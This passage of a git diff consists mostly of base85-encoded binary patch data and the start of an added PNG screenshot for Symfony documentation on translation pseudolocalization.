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

literal 0
HcmV?d00001

diff --git a/_images/translation/pseudolocalization-symfony-demo-enabled.png b/_images/translation/pseudolocalization-symfony-demo-enabled.png
new file mode 100644
index 0000000000000000000000000000000000000000..a23300a727104a05b4e8c698c7b09a146f12625b
GIT binary patch
literal 80487
zcmcG#Wmua{*EULNp~Z{4YjCG{@en*fakt{`THG}_MGAr9?(Ptz6xZTb+>3wozMt>?
zWWPW5{;_i;b6lCsT-Ta4Yn|(yHIoQsMHw_?B4ju?I5b(HBp43v%>W$SYo&MaFEt(R
zk_d3G1XyJy#ne1r9nQT%gL@AL$Nt4MUhJ8h6K-uuPN)w;{L(N0{L(xZ@^ZyM`%-|A
